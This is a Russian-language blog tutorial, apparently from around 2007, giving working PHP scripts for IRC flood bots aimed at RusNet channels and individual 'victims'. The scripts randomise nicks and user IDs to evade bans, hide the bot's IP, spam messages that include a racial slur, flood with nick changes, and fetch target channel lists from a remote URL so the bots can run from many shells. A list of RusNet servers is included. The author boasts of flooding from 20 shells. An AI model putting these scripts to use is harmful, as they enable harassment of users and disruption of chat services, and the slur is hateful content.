Сегодня я расскажу о создании IRC (Internet Relay Chat) бота на php, для небольшого флуда и баловства на каналах Руснета Для коннекта мы будем использовать сокеты Вот собственно и весь скрипт рабочего очень простого бота: PHP: <? ini_set("max_execution_time", "0"); $fp = fsockopen("irc.tom.ru", 6669, $errno, $errstr, 120); fputs($fp, "NICK ZphpBot\n"); fputs($fp, "USER UserName 127.0.0.1 irc.tom.ru :Z IRC\n"); fputs($fp, "JOIN #test\n"); fputs($fp, "PRIVMSG #test : Ку нигеры\r\n"); while(!feof($fp)) { fgets($fp,128); } fclose ($fp); ?> Бот зайдёт на сервер irc.tom.ru, затем на канал #test и скажет на этом канале "ку нигеры" Самое простое что только можно сделать Рассмотрим саму специфику IRC и сокетов. PHP: <? # Ставим максимальное время загрузки страницы на 0, т.е. бесконечно ini_set("max_execution_time", "0"); # Присоединяемся к серверу irc # irc.tom.ru - это сам сервер, може быть любой типо rusnet.tomsk.ru, irc.anarxi.st, irc.tomsk.net и тп. # 6669 - порт IRC сервера # $errno и $errstr - это переменные, куда будут записываться номер и текст ошибки в случае неудачного коннекта # 120 - это максимальное время соединения с сервером (в секундах), ставим 2 минуты, # потому, что коннект к irc серверу занимает довольно продолжительное время $fp = fsockopen("irc.tom.ru", 6669, $errno, $errstr, 120); # Записываем в "файл" так называемые header-type данные (заголовки) # \n и \r - это перевод строки, удалять не надо # : - это служебный символ, его тоже не надо стирать # Первый заголовок - это ник бота, который зайдет в мирку, у нас ZphpBot fputs($fp, "NICK ZphpBot\n"); # Второй заголовок - это Информация о боте # UserName - это реальное имя # 127.0.0.1 - это фальшивый ip адрес бота, но определяется всёравно настоящий : ) # irc.tom.ru - говорит о том к какому серверу подключен бот # Z IRC - это клиент (МИРКА) бота, можно указать любой fputs($fp, "USER UserName 127.0.0.1 irc.tom.ru :Z IRC\n"); # Третий заголовок - это канал. Здесь впринципе объяснять нечего, вписываем канал на который бот зайдет. У нас зайдет на канал #test fputs($fp, "JOIN #test\n"); # Четвертый заголовок - сообщение в канал. Вместо "Ку Нигеры", можно написать любой текст, # а вместо #test - любой канал, но бот на нем должен присутствовать. fputs($fp, "PRIVMSG #test : Ку Нигеры\r\n"); # Врубаем цикл, пока не достигним конца файла, выполняем чтение файла while(!feof($fp)) { # Читаем с каждой строки по 128 символов, так положено для мирки fgets($fp,128); } # Ну и закрываем сокет : ) fclose ($fp); ?> Но если мы собираемся флудить нас могут забанит по нику, Userid*у и тп. (не считая ip), поэтому лучше писать рандом. Есть ещё одна полезная штука: многие серверы (чуть менее чем все) включая Rusnet имеют функцию /mode +x (скрытие ip) Эта фича конечно легко раскрывается (следующая статья будет посвящена открытию режимы +х в сети руснет), но некоторые опы, довольно странно на неё реагируют О_о Code: fputs($fp, "MODE [Ник бота] +x\n"); Вот так примерно выглядит более мощный и легче настраиваемый бот. К его нику клиенту и UserName каждый раз приписываются случайные числа и скрыт ip. PHP: <? #рандомы (от,до) $q = mt_rand(0,88); $x = mt_rand(0,99); $rolf = mt_rand(1,999); # канал (без #) $kl = test; #Ник и UserName $nick = olololo; $user = Orly; #IRC сервер и порт $serv = irc.tom.ru; $port = 6669; ini_set("max_execution_time", "0"); $fp = fsockopen("$serv", $port, $errno, $errstr, 120); fputs($fp, "NICK $nick$rolf\n"); fputs($fp, "USER $x$user$q 127.0.0.1 $serv :Z IRC$q.2\n"); #скрываем ip fputs($fp, "MODE $nick$rolf +x\n"); #Заходим на канал fputs($fp, "JOIN #$kl\n"); #базарим fputs($fp, "PRIVMSG #$kl : 1 фраза (Ку Нигеры) \r\n"); fputs($fp, "PRIVMSG #$kl : 2 фраза (Как дела?) \r\n"); fputs($fp, "PRIVMSG #$kl : 3 фраза (Меня зовут $nick ) \r\n"); fputs($fp, "PRIVMSG #$kl : 4 фраза (Ку Нигеры) \r\n"); fputs($fp, "PRIVMSG #$kl : 5 фраза (Как дела?) \r\n"); fputs($fp, "PRIVMSG #$kl : 6 фраза (ололо) \r\n"); while(!feof($fp)) { fgets($fp,128); } fclose ($fp); ?> Если вам необходимо флудить конкретному юзеру, а не на на канале, используем следующий скрипт : PHP: <? #рандомы (от,до) $q = mt_rand(0,88); $x = mt_rand(0,99); $rolf = mt_rand(1,999); # Жертва $zhertva = kult; #Ник и UserName $nick = JOooll; $user = xaxyxa; #IRC сервер $serv = irc.tom.ru; ini_set("max_execution_time", "0"); $fp = fsockopen("$serv", 6669, $errno, $errstr, 120); fputs($fp, "NICK $nick$rolf\n"); fputs($fp, "USER $x$user$q 127.0.0.1 $serv :Z IRC$q.2\n"); #скрываем ip fputs($fp, "MODE $nick$rolf +x\n"); #Пишем в приват жертве fputs($fp, "PRIVMSG $zhertva : 1 фраза (Ку Нигер) \r\n"); fputs($fp, "PRIVMSG $zhertva : 2 фраза (Как дела?) \r\n"); fputs($fp, "PRIVMSG $zhertva : 3 фраза (Меня зовут $nick ) \r\n"); while(!feof($fp)) { fgets($fp,128); } fclose ($fp); ?> Если вы атакуете сразу много каналов с нескольких серверов или шелов, вам понадобиться выложить .txt файл внутри которого есть название канала. PHP: $kl = file_get_contents('http://site.ru/kl.txt'); Собственно это выглядит так: PHP: <? $q = mt_rand(0,88); $x = mt_rand(0,99); $n = mt_rand(100000,999999); $rolf = mt_rand(1,999); $kl = file_get_contents('http://thez.ru/kl.txt'); $nick=Математик; $user=Orly; ini_set("max_execution_time", "0"); $fp = fsockopen("irc.tom.ru", 6669, $errno, $errstr, 120); fputs($fp, "NICK $nick$rolf\n"); fputs($fp, "USER $x$user$q 127.0.0.1 irc.tom.ru :IRC-Zadrot$q.2\n"); # Заходим на канал хозяина fputs($fp, "JOIN #$kl\n"); fputs($fp, "PRIVMSG #$kl : Привет всем парни! :) Я сумасшедший математик!!! \r\n"); fputs($fp, "PRIVMSG #$kl : Скажите мне пожалуйста сколько будет $q + $x ? \r\n"); fputs($fp, "PRIVMSG #$kl : А сколько будет $n + $rolf \r\n"); fputs($fp, "PRIVMSG #$kl : А вот сколько будет $q + $x + $n + $rolf \r\n"); fputs($fp, "PRIVMSG #$kl : А сколько будет если $q вычесть $x умножить на $n поделить на $rolf \r\n"); fputs($fp, "PRIVMSG #$kl : Незнаете! \r\n"); fputs($fp, "PRIVMSG #$kl : Нужели вы не знаете? Никто на канале $kl не знает? \r\n"); fputs($fp, "PRIVMSG #$kl : Ха-ха-ха \r\n"); fputs($fp, "PRIVMSG #$kl : $q + $q Тоже не знаете? \r\n"); fputs($fp, "PRIVMSG #$kl : $rolf + $rolfs + $n + $n \r\n"); fputs($fp, "PRIVMSG #$kl : 2 + 2 ? \r\n"); fputs($fp, "PRIVMSG #$kl : ЁБАНЫЙ СТЫД ! Ничего не знаете! \r\n"); while(!feof($fp)) { fgets($fp,128); } fclose ($fp); ?> Этим скриптом с 20 шеллов я флудил довольно таки не хило Что касается именно флуда канала в IRC есть 3 способа: 1) Флуд сообщениями (бот флудит множеством сообщений на канале) 2) Флуд входами/выходами (бот выходит и снова заходит на канал ) 3) флуд сменой ника (бот меняет свой ник на случайные очень часто) Всё это реализуется довольно просто выходя из кодов которые выше --^ Вот например флуд сменой ников: PHP: <? $q = mt_rand(0,88); $x = mt_rand(0,99); $n = mt_rand(100000,999999); $rolf = mt_rand(1,999); $kl = file_get_contents('http://thez.ru/kl.txt'); $nick=pteer; $user=Ohlol; ini_set("max_execution_time", "0"); $fp = fsockopen("irc.tom.ru", 6669, $errno, $errstr, 120); fputs($fp, "NICK $nick$rolf\n"); fputs($fp, "USER $x$user$q 127.0.0.1 irc.tom.ru :IRC-Zadrot$q.2\n"); # Заходим на канал хозяина fputs($fp, "JOIN #$kl\n"); fputs($fp, "NICK $nick$rolf$n\n"); fputs($fp, "NICK $nick$rolf$rolf$n\n"); fputs($fp, "NICK $nick$x$rolf$n\n"); fputs($fp, "NICK $nick$rolf$n\n"); fputs($fp, "NICK $nick$rolf$rolf$n\n"); fputs($fp, "NICK $nick$x$rolf$n\n"); fputs($fp, "NICK $nick$rolf$n\n"); fputs($fp, "NICK $nick$rolf$rolf$n\n"); fputs($fp, "NICK $nick$x$rolf$n\n"); #и тп. while(!feof($fp)) { fgets($fp,128); } fclose ($fp); ?> Есть ещё одна вещь, которую необходимо учесть. [!] Множество серверов имеют ограничение коннектов по IP адресу (3-5 коннектов с 1 ip) Поэтому вам будет необходимо либо найти сервер у которого число этих коннектов неогранчего, либо организовать рандом. Список серверов Rusnet*а на 20.08.2007г Code: irc.tomck.net - Россия, Томск irc.tomsk.net - Россия, Томск irc.tom.ru - Россия, Томск irc.tpu.ru - Россия, Томск rusnet.tomsk.ru - Россия, Томск irc.intertax.ru - Россия, Красноярск irc.siberianet.ru - Россия, Красноярск irc.alfa-com.ru - Россия, Красноярск irc.krasnet.ru - Россия, Красноярск irc.ixx.ru - Россия, Сосновоборск urengoy.rusnet.org.ru - Россия, Новый Уренгой irc.intersvyaz.net - Россия, Челябинск irc.nnov.net - Россия, Нижний Новгород irc.run.net - Россия, Санкт-Петербург irc.ventelo.de - Германия irc.lucky.net - Украина, Киев irc.seb.org.ua - Украина, Севастополь irc.odessa.ua - Украина, Одесса irc.ilyichevsk.net - Украина, Ильичевск irc.sevsky.net - Украина, Севастополь irc.tsua.net - Украина, Киев rusnet.sevstar.net - Украина, Севастополь irc.odessa.net - Украина, Одесса irc.alkar.net - Украина, Днепропетровск irc.sevcity.net - Украина,Севастополь irc.sev.net.ua - Украина, Севастополь irc.telesweet.net - Украина, Сумы irc.nikolaev.ua - Украина, Николаев irc.perm.ru - Россия, Пермь irc.anarxi.st - Нидерланды irc.spbu.ru - Россия, Санкт-Петербург ghost.ff.phys.spbu.ru - Россия, Санкт-Петербург irc.rinet.ru - Россия, Москва irc.kgts.ru - Россия, Казань irc.primorye.ru - Россия, Владивосток irc.mv.ru - Россия, Ульяновск irc.ttn.ru - Россия, Таганрог irc.tsure.ru - Россия, Таганрог irc.baikal.net - Россия, Улан-Удэ irc.nsib.ru - Россия, Новосибирск irc.caramanta.ru - Россия, Москва irc.glazov.net - Россия, Глазов irc.vernet.eu.org - Россия, Королев irc.chelyabinsk.ru - Россия, Челябинск irc.academ.org - Россия, Новосибирск irc.211.ru - Россия, Новосибирск irc.nsu.ru - Россия, Новосибирск irc.stv.su - Россия, Москва irc.tambov.ru - Россия, Тамбов Автор - blog.thez.ru